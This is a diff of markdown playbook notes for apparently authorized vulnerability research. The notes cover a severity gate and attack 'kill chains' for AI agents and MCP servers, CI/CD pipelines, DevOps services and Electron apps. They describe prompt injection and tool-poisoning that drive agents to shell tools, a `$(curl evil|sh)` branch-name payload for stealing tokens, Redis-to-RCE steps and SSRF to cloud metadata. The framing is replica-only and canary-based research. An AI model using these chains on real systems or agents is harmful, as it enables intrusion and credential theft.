| + | planted, with the destructive step proven on a canary only. | |
| + | ||
| + | **Does NOT count:** | |
| + | - "The endpoint *could* return many rows if the `WHERE` were dropped." Demonstrate it. | |
| + | - "**Read DoS** / a slow query / a large response." A denial-of-service or resource-exhaustion read is | |
| + | **not** RCE and not exfil. (Explicit v1 trap: do not dress up a DoS as a critical.) | |
| + | - "The price is set client-side." Client-side observation is a hypothesis; prove the server accepts | |
| + | the manipulated value and the order/state actually changes. | |
| + | - "I can see *one* of my own orders." Not mass, not cross-boundary. | |
| + | ||
| + | --- | |
| + | ||
| + | ## Family 7 - SSRF / XXE / File-Access Chains to Critical | |
| + | ||
| + | Covers: SSRF→metadata / →internal-admin / →RCE; XXE→file-read; arbitrary file read of secrets; | |
| + | arbitrary file write→RCE; path-traversal→secrets. | |
| + | ||
| + | **PROVEN (oracle):** | |
| + | - **SSRF:** must terminate in impact, not just an outbound request. PROVEN = the metadata credential | |
| + | retrieved (`169.254.169.254/latest/...` token *captured*), **or** an internal-admin action performed | |
| + | via the SSRF, **or** SSRF→RCE chained to a Family-1 artifact. A bare OOB callback proves *blind | |
| + | SSRF reachability* - that is SOURCE_CONFIRMED, not a finding on its own (see trap below). | |
| + | - **XXE / arbitrary file read:** the *contents* of a real secret file retrieved through the channel - | |
| + | our canary at `/etc/cyclops-canary` for replica proof, or a genuinely sensitive file | |
| + | (`/etc/passwd` is a demo, a signing key / `.env` is the impact) on a permitted target. | |
| + | - **Arbitrary file write→RCE:** the write lands somewhere that executes (cron, webroot, a `.so`/ | |
| + | `.pth`/startup path) and the execution fires a Family-1 artifact. The write alone is not the finding; | |
| + | the resulting execution is. | |
| + | - **Path-traversal:** the traversal returns secret contents, per the file-read oracle. | |
| + | ||
| + | **Does NOT count (the canonical v1 trap):** | |
| + | - **"Blind SSRF confirmed by a DNS callback"** with nothing behind it. Per Zion's standing rule, never | |
| + | submit enumeration / blind SSRF standalone - prove the full impact chain (metadata cred, internal | |
| + | admin, or RCE). Blind callback → cleared-axes or keep-pulling, not a report. | |
| + | - "Traversal reads `/etc/passwd`." `/etc/passwd` is a *demonstration of the primitive*, not impact by | |
| + | itself on a modern box. Pull a real secret to cross into a finding. | |
| + | - "File write to a `/tmp` no one executes." A write with no execution sink is SOURCE_CONFIRMED. | |
| + | ||
| + | --- | |
| + | ||
| + | ## Family 8 - Exposed Critical Service & Trust-Infrastructure Compromise | |
| + | ||
| + | Covers: the "exposed service" family - Jupyter / Redis / Mongo / Elasticsearch / Jenkins / Grafana / | |
| + | K8s-dashboard / Prometheus / Terraform-state / env-var exposure; **and** trust-infra compromise: | |
| + | MFA / password-reset / session-hijack / WAF bypass to a critical action; AD / domain-admin / | |
| + | golden-ticket / NTLM-relay; DNS / registrar / subdomain / email / BGP / CA / TLS-key compromise. | |
| + | ||
| + | **PROVEN (oracle):** | |
| + | - **Exposed service:** not "the port is open" - the **unauthed privileged capability exercised**. For | |
| + | Jupyter, a notebook executing `os.system` (Family-1 artifact). For Redis, an unauthed write we then | |
| + | turn into RCE (module load / cron / authorized_keys) or a secret read. For Terraform-state, the | |
| + | *secrets inside the state* retrieved. For an exposed `.env`, the secret retrieved **and** minimally | |
| + | validated live. The artifact is the capability, not the banner. | |
| + | - **Trust-infra:** the takeover demonstrated - a subdomain we now serve content on (dangling | |
| + | CNAME claimed against *our own* canary), a password-reset flow yielding a *different* user's session | |
| + | (our second canary user), an NTLM relay landing an authenticated action as the relayed principal, | |
| + | a golden ticket authenticating as a domain principal in our lab forest. | |
| + | ||
| + | **Does NOT count:** | |
| + | - "Redis/Mongo/ES is reachable without auth." Exposure is the start. The finding is the data read or | |
| + | the RCE landed. (Many "exposed service" reports are really just a port scan result - that is | |
| + | cleared-axes until the capability fires.) | |
| + | - "Grafana is on the internet." Until you prove the unauthed read of a datasource secret or an | |
| + | exploit, it is an observation. | |
| + | - "The reset token is predictable-looking." Predict it and take over the canary account, or it is | |
| + | SOURCE_CONFIRMED. | |
| + | - "A WAF can be bypassed." A bypass that reaches a *non-impactful* endpoint is nothing; the bypass | |
| + | must reach a critical action that then fires another family's oracle. | |
| + | ||
| + | --- | |
| + | ||
| + | ## Gate decision procedure (run this on every candidate) | |
| + | ||
| + | 1. **Name the endpoint.** Honestly, what is the *best* impact at the end of this chain? Write it down. | |
| + | 2. **Map it to a family.** Is that endpoint one of Families 1-8? If no → [[../04-cleared-axes/README|cleared-axes]], stop. | |
| + | 3. **Identify the oracle.** What single artifact would prove it? If you cannot name an artifact, the | |
| + | candidate is not yet SOURCE_CONFIRMED - it is a guess. | |
| + | 4. **Check it is novel, not a sibling-CVE.** Run the [[../06-methods/NOVELTY-DOCTRINE|novelty check]] | |
| + | *before* deep work. | |
| + | 5. **Drive the oracle on a replica.** Artifact → REPLICA_CONFIRMED. No artifact → DISPROVEN + log. | |
| + | 6. **Only now** may a report exist. And only if in scope may a LIVE_CANARY_CONFIRMED follow. | |
| + | ||
| + | > If you find yourself writing a report whose impact section says "could", "may", "potentially", | |
| + | > "an attacker might", or "this is likely exploitable" - you have failed the gate. Delete it and go | |
| + | > get the artifact, or log it DISPROVEN. |
| @@ -0,0 +1,131 @@ | ||
| + | --- | |
| + | archetype: ai-agent-mcp | |
| + | primary_gate_families: [1, 7, 3] | |
| + | --- | |
| + | ||
| + | # Archetype - AI Agents, Tool-Runners & MCP Servers | |
| + | ||
| + | Targets: Open WebUI, Flowise, n8n, LangChain/LangGraph tool execution, LlamaIndex, AutoGPT-likes, | |
| + | and the explosion of **MCP servers**. The thesis: these systems exist to **turn model output into | |
| + | actions** - they run tools, eval code, fetch URLs, query DBs, exec shell. The whole product *is* a | |
| + | chain of trust-boundary crossings, and the field is months old, so the parsers, sandboxes, and | |
| + | allowlists are immature. This is a [[../00-doctrine/SEVERITY-GATE#family-1-remote-code-execution-the-crown|Family 1]] / [[../00-doctrine/SEVERITY-GATE#family-7-ssrf-xxe-file-access-chains-to-critical|Family 7]] / [[../00-doctrine/SEVERITY-GATE#family-3-cloud-identity-account-takeover-privilege-escalation|Family 3]] archetype. | |
| + | ||
| + | See: [[ml-model-loaders]] (inference backends behind these), [[devops-infra]] (often self-hosted), | |
| + | [[electron-desktop]] (desktop AI clients). Tooling: `test_mcp_server`, `mcp_tool_surface`, | |
| + | `test_ssrf_params`, `test_cmdi`, `test_ssti`. | |
| + | ||
| + | --- | |
| + | ||
| + | ## Principals & trust boundaries | |
| + | ||
| + | - **Principals:** the end user / prompt author, the **model** (untrusted output - treat model text as | |
| + | attacker-controlled), tool/plugin authors, the **MCP server** author, connected data sources | |
| + | (a fetched webpage, a RAG document, an email the agent reads), the host process and its credentials | |
| + | (API keys, cloud creds, DB creds the agent holds). | |
| + | - **Core boundaries:** | |
| + | 1. *Prompt / fetched content → model* (prompt injection; content the agent reads is attacker input). | |
| + | 2. *Model output → tool dispatcher* (the model's chosen tool + args drive real actions). | |
| + | 3. *Tool → OS / network / DB* (code-exec tools, HTTP-fetch tools, DB tools). | |
| + | 4. *MCP client ↔ MCP server* (tool definitions and results cross a process/network boundary - | |
| + | **tool-poisoning**: a malicious tool *description* manipulates the calling agent). | |
| + | - **The defining insight:** in an agent, **untrusted data and the control plane share a channel**. | |
| + | A RAG document or a fetched page can contain instructions the model obeys → the model calls a | |
| + | dangerous tool → real impact. Prompt injection is the *delivery*; the *finding* is the tool-abuse it | |
| + | reaches. | |
| + | ||
| + | **Boundary map template:** | |
| + | ``` | |
| + | principals: prompt-author | model-output(untrusted) | tool-author | MCP-server | fetched-content | host-creds | |
| + | trust inputs: user prompt, RAG docs, fetched URLs/pages, email/file the agent ingests, | |
| + | tool definitions (name/description/schema), MCP server responses, workflow JSON | |
| + | enforcement pts: tool allowlist, code-exec sandbox, URL/SSRF allowlist, auth on the agent's own | |
| + | HTTP API, per-tool permission scoping, output filtering | |
| + | cross-boundary | |
| + | sinks: code-interpreter tool (exec/eval/PythonREPL) ; shell tool ; HTTP-fetch tool ; | |
| + | SQL tool ; file tool ; the agent server's own unauth endpoints ; SSRF in the | |
| + | model-provider/proxy config ; secret-returning tool reachable by prompt | |
| + | confusion | |
| + | hypotheses: "the code-exec sandbox is escapable / isn't really sandboxed"; | |
| + | "a poisoned tool description redirects the agent to a dangerous tool"; | |
| + | "the HTTP API has unauthenticated admin/exec routes"; | |
| + | "SSRF allowlist misses an internal scheme / metadata IP"; | |
| + | "prompt injection in a RAG doc reaches the shell tool" | |
| + | ``` | |
| + | ||
| + | --- | |
| + | ||
| + | ## Kill chains (each lands on a Gate family) | |
| + | ||
| + | ### KC-1 - Unauthenticated server endpoints → RCE (Family 1) *(check this FIRST)* | |
| + | These products are *self-hosted web apps*, and many ship with weak/optional auth or unauth admin/exec | |
| + | routes. Before any prompt-injection cleverness, hunt the **HTTP surface** of the agent server itself. | |
| + | - **Sinks:** Flowise/n8n/Open WebUI routes that import workflows, run code nodes, set up credentials, | |
| + | or hit `/api/v1/...` without auth; n8n's `Code`/`Function` node and Webhook→exec paths; LangServe | |
| + | endpoints exposing tools without auth. | |
| + | - **CVE class:** the 2024 Flowise auth-bypass (unauth API via case/route-normalization), n8n code-node | |
| + | RCE class, Open WebUI path issues. Find the *new* unauth route or the *next* normalization bypass. | |
| + | - **Oracle:** an unauthenticated request lands command output / callback → Family 1. | |
| + | ||
| + | ### KC-2 - Prompt injection → dangerous-tool dispatch → RCE / exfil (Family 1 / 7) | |
| + | A RAG document, fetched webpage, or ingested file carries instructions; the model obeys and calls a | |
| + | **code-interpreter / shell / file / HTTP tool** with attacker args. | |
| + | - **Sinks:** `PythonREPLTool`, `exec`/`eval` in a code-interpreter, `ShellTool`/`Terminal` tool, | |
| + | `requests`/`httpx` in a fetch tool (→ SSRF), file-read tools, DB tools (→ SQLi/exfil). | |
| + | - **The discipline:** the *finding* is not "the model can be prompt-injected" (that's the threat | |
| + | model). The finding is the **artifact at the end of the tool call** - a callback from the code tool, | |
| + | a secret read, a cross-tenant action. Prompt injection that reaches a *harmless* tool is cleared-axes. | |
| + | - **Oracle:** injected content causes the code/shell tool to fire our canary → Family 1; or the fetch | |
| + | tool to hit metadata and *capture the credential* → Family 7/3. | |
| + | ||
| + | ### KC-3 - Code-exec sandbox escape (Family 1/2) | |
| + | Many agents wrap the code tool in a "sandbox" (a subprocess, a restricted Python, a container). The | |
| + | sandboxes are usually weak. Escaping one is a clean Family 1 (and Family 2 if it's a container). | |
| + | - **Sinks:** the restricted-exec wrapper (RestrictedPython, `ast` allowlists, a thin subprocess | |
| + | jail), the container the code runs in (then [[devops-infra]]/Family 2 escape mechanics). | |
| + | - **Oracle:** code that breaks out of the restricted env reaches the real OS / host → callback. | |
| + | ||
| + | ### KC-4 - MCP tool-poisoning & SSRF→RCE (Family 1/7) | |
| + | MCP servers expose tools to a calling agent via tool *definitions*. A malicious/compromised MCP server | |
| + | can ship a tool whose **description** contains injection (the agent reads descriptions), or whose | |
| + | **implementation** does SSRF/command-injection on the args the agent passes. | |
| + | - **Sinks:** the MCP server's tool handlers (`test_mcp_server` / `mcp_tool_surface` to enumerate), | |
| + | any handler doing `exec`/HTTP-fetch/file-access on tool args; the tool-description channel as an | |
| + | injection vector into the *client*. | |
| + | - **Oracle:** a tool call lands command exec on the server (Family 1) or SSRF→metadata (Family 7/3). | |
| + | ||
| + | ### KC-5 - Agent-held credential exfil & cross-tenant (Family 3/4) | |
| + | Agents hold powerful secrets (model-provider keys, cloud creds, DB creds, OAuth tokens). A prompt | |
| + | injection or a tool flaw that *returns those secrets* or *acts cross-tenant* is Family 3/4. | |
| + | - **Sinks:** any tool/endpoint that can read the agent's env/config/credential store; multi-tenant | |
| + | agent platforms where one tenant's prompt reaches another tenant's tools/data. | |
| + | - **Oracle:** the secret retrieved + minimally validated (Family 4), or tenant-A session producing | |
| + | tenant-B canary (Family 3). | |
| + | ||
| + | --- | |
| + | ||
| + | ## The dynamic oracle, concretely | |
| + | ||
| + | 1. Self-host the target in a disposable container (`sandbox_create`) with **planted canary secrets and | |
| + | a second canary tenant**. Pin version. | |
| + | 2. Map the HTTP surface first (`discover_api_endpoints`, `test_unauth_access`) - unauth RCE beats | |
| + | clever injection every time. | |
| + | 3. For injection chains: feed a malicious RAG doc / fetched page / tool, and watch the *tool sinks*, | |
| + | not the model's words. The proof is the callback / secret / cross-tenant canary - never the model | |
| + | *saying* it will comply. | |
| + | 4. REPLICA_CONFIRMED on the artifact; LIVE_CANARY only in scope. | |
| + | ||
| + | --- | |
| + | ||
| + | ## BORING traps - do NOT spend time here | |
| + | ||
| + | - **"The model can be jailbroken / prompt-injected."** That is the threat model, universally true, | |
| + | and not a finding. The finding is the *tool-abuse artifact* it produces. A jailbreak with no | |
| + | dangerous sink is cleared-axes. | |
| + | - **"The agent followed instructions in a document."** Same - only counts if it reached a gate sink. | |
| + | - **Prompt-injection that makes the model say something bad / leak its system prompt.** System-prompt | |
| + | leak and "harmful text" are not [[../00-doctrine/SEVERITY-GATE|gate]] families. Hardening note. | |
| + | - **Hallucinated tool calls with no real effect.** No artifact, no finding. | |
| + | - **A code-interpreter that is *documented* as full-RCE-by-design and gated behind auth.** If it's an | |
| + | intended authed feature, running code in it isn't a bug - the finding is the *unauth* or *escape*. | |
| + | - **Re-finding the public Flowise/n8n CVE on an old build.** Sibling-CVE; hunt fresh code. |
| @@ -0,0 +1,133 @@ | ||
| + | --- | |
| + | archetype: cicd-supplychain | |
| + | primary_gate_families: [4, 5, 1] | |
| + | --- | |
| + | ||
| + | # Archetype - CI/CD & Software Supply Chain | |
| + | ||
| + | Targets: GitHub Actions workflows (and GitLab CI / CircleCI / Buildkite), self-hosted Actions runners, | |
| + | package registries (npm/PyPI/Go/crates/Maven), artifact stores, signing pipelines. The thesis: the | |
| + | build pipeline is the **softest path to the crown jewels** - it holds `GITHUB_TOKEN`, deploy keys, | |
| + | cloud OIDC, signing keys, and registry-publish rights, and it *executes untrusted input by design* | |
| + | (PR contents, fork branches, dependency code). One workflow-injection or one confusable dependency | |
| + | compromises the org and everything it ships. [[../00-doctrine/SEVERITY-GATE#family-4-secret-key-repo-build-pipeline-compromise|Family 4]] / [[../00-doctrine/SEVERITY-GATE#family-5-supply-chain-dependency-compromise|Family 5]] / Family 1. | |
| + | ||
| + | See: [[devops-infra]] (Jenkins/Argo runners), [[ml-model-loaders]] (ComfyUI nodes), [[electron-desktop]] (plugin registries). | |
| + | Tooling: `audit_cicd`, `dependency_confusion`, `audit_supply_chain`, `clone_repo`, `joern_query`. | |
| + | ||
| + | --- | |
| + | ||
| + | ## Principals & trust boundaries | |
| + | ||
| + | - **Principals:** an external PR/fork author (untrusted), a dependency author, the **workflow** (runs | |
| + | with repo/org tokens), the **runner** (the machine, often self-hosted and reused), the registry, the | |
| + | consumers who install the artifact. | |
| + | - **Core boundaries:** | |
| + | 1. *Untrusted PR/fork content → privileged workflow context* (the `pull_request_target` / | |
| + | `workflow_run` trust elevation - the canonical CI bug). | |
| + | 2. *Workflow expression → shell* (the `${{ }}` injection into `run:`). | |
| + | 3. *Dependency name → install/build* (dependency confusion / typosquat / postinstall exec). | |
| + | 4. *Job → self-hosted runner host* (a job escaping to the persistent runner machine). | |
| + | 5. *Build → published artifact → consumers* (artifact/signing poisoning, the widest blast radius). | |
| + | ||
| + | **Boundary map template:** | |
| + | ``` | |
| + | principals: external-PR-author | dependency-author | workflow(holds tokens) | runner-host | registry | consumers | |
| + | trust inputs: PR title/body/branch-name/labels, fork code, issue comments, the dependency tree, | |
| + | package names, workflow_dispatch inputs, artifact contents, tags/releases | |
| + | enforcement pts: pull_request vs pull_request_target, permissions: block, secrets scoping, | |
| + | OIDC trust policy, environment protection rules, runner isolation, registry | |
| + | namespace ownership, signature verification | |
| + | cross-boundary | |
| + | sinks: ${{ github.event.* }} interpolated into run: ; checkout of PR head in a | |
| + | privileged trigger ; secrets.* / GITHUB_TOKEN reachable from injected step ; | |
| + | npm/pip install of a confusable name ; postinstall/setup.py exec ; | |
| + | self-hosted runner reuse ; publish/sign step | |
| + | confusion | |
| + | hypotheses: "this pull_request_target workflow checks out & runs PR code with secrets in env"; | |
| + | "an attacker-controlled github context field flows into run: unquoted"; | |
| + | "this internal package name is unclaimed on the public registry"; | |
| + | "the runner is self-hosted and not ephemeral → persistence"; | |
| + | "OIDC trust policy is too broad (wildcard sub/repo)" | |
| + | ``` | |
| + | ||
| + | --- | |
| + | ||
| + | ## Kill chains (each lands on a Gate family) | |
| + | ||
| + | ### KC-1 - Workflow expression injection → secret/token exfil (Family 4) *(prime)* | |
| + | A workflow interpolates an attacker-controlled `github` context field (PR **title**, **body**, | |
| + | **branch name**, issue **comment**, label) directly into a `run:` shell step. Because `${{ }}` is | |
| + | substituted *before* the shell runs, a branch named `$(curl evil|sh)` (or backtick/`;` payloads) | |
| + | executes on the runner - with `secrets` and `GITHUB_TOKEN` in the environment. | |
| + | - **Sinks to CPG/grep across `.github/workflows/*`:** `run:` steps containing `${{ github.event.*.title }}`, | |
| + | `.body`, `.head.ref`, `github.head_ref`, `.comment.body`, `.pull_request.*`; plus `actions/github-script` | |
| + | with interpolated context. | |
| + | - **The high-value variant: `pull_request_target` / `workflow_run`** - these triggers run with the | |
| + | **base repo's** secrets *and* (if the workflow checks out `github.event.pull_request.head.sha`) the | |
| + | **fork's code**. That combination = untrusted code with full secrets = `pwn-request`. | |
| + | - **Oracle:** the injected step exfiltrates `GITHUB_TOKEN` / `secrets.*` to our listener (against our | |
| + | **own** canary repo for the replica), or callback from the runner → Family 4 / Family 1. | |
| + | ||
| + | ### KC-2 - Self-hosted runner takeover & persistence (Family 4 → 1) | |
| + | Self-hosted runners on public repos are dangerous: a fork PR can run code on a **persistent, reused** | |
| + | machine. Beyond the single job, the attacker can plant persistence, steal other jobs' secrets, or | |
| + | pivot into the network the runner sits in. | |
| + | - **Sinks:** any public-repo workflow with `runs-on: self-hosted`, non-ephemeral runner config, | |
| + | shared runner caches/tool-dirs, secrets left on disk between jobs. | |
| + | - **Oracle:** command execution on the runner host + reading a *second* job's canary secret / | |
| + | network pivot artifact → Family 4 / Family 1. | |
| + | ||
| + | ### KC-3 - Dependency confusion / typosquat / install-time exec (Family 5) | |
| + | An internal package name (`@acme/internal-utils`, `acme-config`) is referenced but **not owned on the | |
| + | public registry**; the resolver pulls *our* public package of the same name and runs its | |
| + | `postinstall` / `setup.py` / build script. | |
| + | - **Sinks:** the install step, `package.json`/`requirements.txt`/`go.mod` names cross-checked against | |
| + | public-registry ownership; `preinstall`/`postinstall`, `setup.py`'s top-level code, Go `//go:generate`. | |
| + | - **The gate discipline (Family 5 trap):** "the name is unclaimed" is SOURCE_CONFIRMED only. The | |
| + | finding is publishing a **benign canary** package and observing **our own / the in-scope** pipeline | |
| + | pull and execute it (callback). **Never** squat a name a non-consenting third party builds. | |
| + | - **Oracle:** the canary package's install-time callback fires from the target's build → Family 5. | |
| + | ||
| + | ### KC-4 - Artifact / signing-pipeline poisoning (Family 5 → 4) | |
| + | A flaw lets a malicious artifact be published or signed and accepted downstream - a release step that | |
| + | trusts a fork-built artifact, a cache-poisoning of a shared build cache, or a leaked/forgeable signing | |
| + | key (Family 4) used to sign a malicious artifact a verifier accepts. | |
| + | - **Sinks:** the publish/release step, the signing step (cosign/sigstore/GPG key handling), shared | |
| + | cache keys derived from attacker input. | |
| + | - **Oracle:** a malicious artifact we built is consumed-and-run downstream, or signed-and-verified by a | |
| + | verifier we don't control → Family 5/4. | |
| + | ||
| + | ### KC-5 - OIDC trust-policy over-breadth → cloud ATO (Family 3, bridges [[devops-infra]]) | |
| + | GitHub Actions OIDC federates into AWS/GCP/Azure. An over-broad trust policy (wildcard `sub`, missing | |
| + | `repo`/`ref` condition) lets a fork or a different workflow assume a privileged cloud role. | |
| + | - **Sinks:** the IAM/role trust policy's `sub` condition vs the workflow that can mint the OIDC token. | |
| + | - **Oracle:** assuming the role from an unintended workflow + a benign privileged call → Family 3. | |
| + | ||
| + | --- | |
| + | ||
| + | ## The dynamic oracle, concretely | |
| + | ||
| + | 1. Fork/clone the target into our **own** GitHub org as a canary (replica-first - never test injection | |
| + | on a third party's live repo). Pin the workflow files. | |
| + | 2. For KC-1: open a PR on the canary with a payload branch-name/title; watch our listener for the | |
| + | token exfil. `audit_cicd` to enumerate injectable contexts first. | |
| + | 3. For KC-3: `dependency_confusion` to map unclaimed names; publish a **benign** canary package to a | |
| + | throwaway namespace and observe *our* pipeline (or explicitly in-scope pipeline) execute it. | |
| + | 4. REPLICA_CONFIRMED on the exfil/callback artifact. LIVE only with explicit program permission, and | |
| + | even then the canary must be benign and the secret a throwaway. | |
| + | ||
| + | --- | |
| + | ||
| + | ## BORING traps - do NOT spend time here | |
| + | ||
| + | - **"This workflow uses `pull_request_target`."** A risky pattern is not a finding - many are safe | |
| + | (no checkout of head, no secret use). Prove the *secret exfil* artifact. | |
| + | - **"This package name is unclaimed."** Claimability is SOURCE_CONFIRMED; consumption-and-execution is | |
| + | the finding. Don't report registry namespace squatting as if it were proven impact. | |
| + | - **"A pinned action could be updated to a malicious tag."** Hypothetical future compromise of a | |
| + | third party is not your finding. | |
| + | - **Squatting / publishing against a non-consenting org's pipeline.** Forbidden - replica/own-org only. | |
| + | - **Secret-scanning regex hits in the repo.** A string that looks like a key is a hypothesis; prove | |
| + | it's live (Family 4 oracle) or it's cleared-axes. | |
| + | - **Re-finding a public Actions-injection writeup's exact repo.** Sibling-CVE; hunt fresh workflows. |
| @@ -0,0 +1,115 @@ | ||
| + | --- | |
| + | archetype: devops-infra | |
| + | primary_gate_families: [1, 7, 8, 2] | |
| + | --- | |
| + | ||
| + | # Archetype - Self-Hosted DevOps & Infra Services | |
| + | ||
| + | Targets: Jenkins, Grafana, Gitea/Forgejo, Redis, Jupyter, Argo CD/Workflows, MinIO, Metabase, | |
| + | Prometheus, Vault-adjacent tooling, Consul, Nomad, Harbor, Nexus. The thesis: these run with | |
| + | **high privilege at the center of an org** (they hold cloud creds, signing keys, DB access, and the | |
| + | deploy keys to everything), they are *meant* to execute things (pipelines, queries, dashboards), and | |
| + | self-hosters routinely misconfigure auth. A single unauth RCE here is a foothold into the entire | |
| + | estate - [[../00-doctrine/SEVERITY-GATE#family-8-exposed-critical-service-trust-infrastructure-compromise|Family 8]] / [[../00-doctrine/SEVERITY-GATE#family-1-remote-code-execution-the-crown|Family 1]] / Family 7 / Family 2. | |
| + | ||
| + | See: [[cicd-supplychain]] (Jenkins/Argo overlap), [[ai-agent-mcp]] (often co-hosted). | |
| + | ||
| + | --- | |
| + | ||
| + | ## Principals & trust boundaries | |
| + | ||
| + | - **Principals:** unauthenticated internet/intranet caller, low-priv authenticated user, the service | |
| + | process (holding cloud/DB/signing creds), the host & the orchestrator (Docker/K8s) it runs on. | |
| + | - **Core boundaries:** *unauth → service* (the exposed-service problem), *low-priv user → admin | |
| + | capability*, *service → host/orchestrator* (a query/pipeline that reaches the OS or the K8s API), | |
| + | *service → the credentials it holds* (SSRF/template/file-read that dumps the cloud creds). | |
| + | ||
| + | **Boundary map template:** | |
| + | ``` | |
| + | principals: unauth-caller | low-priv-user | service-process(holds creds) | host/orchestrator | |
| + | trust inputs: HTTP API params, dashboard/query definitions, pipeline/job configs, datasource | |
| + | configs, template strings, uploaded plugins, webhook payloads, the auth token itself | |
| + | enforcement pts: authn/authz on each route, the query/datasource sandbox, template sandbox, | |
| + | SSRF allowlist, the service-account scope, RBAC | |
| + | cross-boundary | |
| + | sinks: groovy/script console (Jenkins), datasource URL fetch (Grafana SSRF), | |
| + | SQL/native-query (Metabase), MODULE LOAD / CONFIG SET (Redis), | |
| + | notebook exec (Jupyter), workflow templates (Argo), git hooks (Gitea), | |
| + | the cloud-cred env/metadata the service can reach | |
| + | confusion | |
| + | hypotheses: "an admin route is reachable unauth via path normalization"; | |
| + | "the SSRF allowlist misses 169.254.169.254 / a redirect / DNS-rebind"; | |
| + | "a low-priv role can reach a script/query sink"; | |
| + | "default creds / no creds on the management port" | |
| + | ``` | |
| + | ||
| + | --- | |
| + | ||
| + | ## Kill chains (each lands on a Gate family) | |
| + | ||
| + | ### KC-1 - Unauth or default-cred RCE on the exposed service (Family 8 → 1) | |
| + | The bread and butter. The service is reachable without (real) auth and exposes an exec primitive. | |
| + | - **Per-target sinks:** | |
| + | - **Jenkins:** the Groovy *script console* (`/script`), the CLI deserialization channel, agent | |
| + | protocols; pipeline `sh` steps. (Cite the Jenkins CLI/Groovy RCE class.) | |
| + | - **Redis:** unauth `CONFIG SET dir/dbfilename` → write cron / `authorized_keys` / a webroot file; | |
| + | `MODULE LOAD` → native RCE; replication-based module load. (Cite the Redis-unauth-RCE class.) | |
| + | - **Jupyter:** an open notebook server (no token) → `os.system` in a cell. | |
| + | - **Metabase:** unauth setup-token → DB connection → H2/native-query RCE (cite the Metabase | |
| + | pre-auth RCE class). | |
| + | - **Argo CD/Workflows:** an exposed API → run a workflow template with a container we control. | |
| + | - **Gitea/Forgejo:** git hooks / a malicious migration URL (SSRF) / a webhook→exec path. | |
| + | - **MinIO/Harbor/Nexus:** default creds, an SSRF in the remote-fetch, an admin API exposed. | |
| + | - **Oracle:** the unauth/default path lands command output / a callback / a written canary → Family 1. | |
| + | ||
| + | ### KC-2 - SSRF → cloud metadata → credential theft → cloud ATO (Family 7 → 3) | |
| + | These services constantly fetch URLs the user supplies (Grafana datasource proxy, Gitea migrate, | |
| + | webhook tests, image registries). An SSRF that reaches `169.254.169.254` (AWS), the GCP/Azure metadata | |
| + | endpoints, or an internal admin API steals the service's IAM credentials. | |
| + | - **Sinks:** the datasource/proxy fetch, the avatar/webhook/import URL fetch, any "test connection". | |
| + | - **The gate discipline:** a *bare* SSRF callback is **not** a finding (Family 7 trap). You must | |
| + | **capture the metadata credential** and minimally prove it works → that's the Family 3 ATO. | |
| + | - **Oracle:** the IMDS token captured + a benign `GetCallerIdentity` confirming the role → Family 3. | |
| + | ||
| + | ### KC-3 - Template / query injection → file read or RCE (Family 1 / 7) | |
| + | Grafana template variables, Metabase/Superset SQL, Prometheus/Alertmanager templates, Argo workflow | |
| + | templates - expression/template engines that can reach the FS or OS. | |
| + | - **Sinks:** the template render, the native-query executor, the alerting template (SSTI). | |
| + | - **Oracle:** template/query reads our canary secret (Family 7) or executes (Family 1). | |
| + | ||
| + | ### KC-4 - Service → orchestrator takeover (Family 2) | |
| + | The service runs in a container/pod with a mounted Docker socket or a powerful K8s service-account. | |
| + | RCE in the service (KC-1) then pivots: read the SA token, hit the K8s API, schedule a pod, or use the | |
| + | Docker socket to escape to the node. | |
| + | - **Sinks:** `/var/run/docker.sock` mounted in, the SA token at | |
| + | `/var/run/secrets/kubernetes.io/serviceaccount/token`, an over-scoped RBAC role. | |
| + | - **Oracle:** an action on the node / cross-namespace, per [[../00-doctrine/SEVERITY-GATE#family-2-container-vm-sandbox-hypervisor-escape-orchestrator-takeover|Family 2]]. | |
| + | ||
| + | --- | |
| + | ||
| + | ## The dynamic oracle, concretely | |
| + | ||
| + | 1. `docker run` the exact version in a disposable env with **planted canary cloud creds** (a fake IMDS | |
| + | or a real throwaway role) and a canary secret file. Pin version. | |
| + | 2. `test_unauth_access` / `discover_paths` / `discover_api_endpoints` to map the real auth surface | |
| + | (path-normalization unauth bypasses are common - try `..;/`, `%2e`, double-slash, case). | |
| + | 3. For SSRF: stand up a fake metadata endpoint + `start_callback_server`; require the **credential | |
| + | capture**, not just the callback. | |
| + | 4. REPLICA_CONFIRMED on the artifact; LIVE_CANARY only within explicit program scope (these are often | |
| + | internet-exposed third-party installs - **do not** touch non-consenting ones; replica-first). | |
| + | ||
| + | --- | |
| + | ||
| + | ## BORING traps - do NOT spend time here | |
| + | ||
| + | - **"The service is exposed to the internet without auth."** That is a *port-scan observation*, the | |
| + | start of Family 8, not a finding. The capability must fire (data read / RCE). v1 loved reporting | |
| + | these as criticals - don't. | |
| + | - **Bare blind SSRF.** Per the gate and Zion's standing rule, never standalone - chain to metadata | |
| + | cred or internal-admin or RCE. | |
| + | - **Default creds with nothing behind them / a read-only dashboard.** Prove the privileged action. | |
| + | - **Version-banner "vulnerabilities".** "Old Jenkins/Grafana" is not a finding; demonstrate it. | |
| + | - **Re-finding the public CVE (Metabase/Redis/Jenkins) on an unpatched box.** Sibling-CVE - that's a | |
| + | patching observation, not novel research. Hunt fresh code/routes or a misconfig that yields *new* | |
| + | impact. | |
| + | - **Self-DoS / crashing the service.** Not in scope of the gate families. |
| @@ -0,0 +1,117 @@ | ||
| + | --- | |
| + | archetype: electron-desktop | |
| + | primary_gate_families: [1, 7] | |
| + | --- | |
| + | ||
| + | # Archetype - Electron Desktop Apps | |
| + | ||
| + | Targets: Obsidian, Logseq, Cursor, Discord, VS Code-likes, Slack, Notion, and the long tail of | |
| + | Electron apps. The thesis: an Electron app is a **browser shipped with Node.js wired to the OS**. If | |
| + | attacker-controlled content reaches a renderer that can touch Node - directly via `nodeIntegration`, | |
| + | or indirectly via a leaked IPC/`preload` bridge - a content-level XSS becomes **local code execution** | |
| + | on the user's machine. That jump (web-bug → OS-RCE) is what makes this a [[../00-doctrine/SEVERITY-GATE#family-1-remote-code-execution-the-crown|Family 1]] archetype, not a web-XSS footnote. | |
| + | ||
| + | See: [[ai-agent-mcp]] (AI Electron apps overlap), [[cicd-supplychain]] (plugin/extension registries). | |
| + | ||
| + | --- | |
| + | ||
| + | ## Principals & trust boundaries | |
| + | ||
| + | - **Principals:** remote content authors (a markdown note, a webpage rendered in-app, a chat message, | |
| + | a repo opened in the editor, a plugin author), the **renderer** process (web context), the | |
| + | **preload** bridge, the **main** process (full Node + OS), the host user. | |
| + | - **Core boundaries:** | |
| + | 1. *Untrusted content → renderer* (markdown, HTML, chat, a synced note, a workspace file). | |
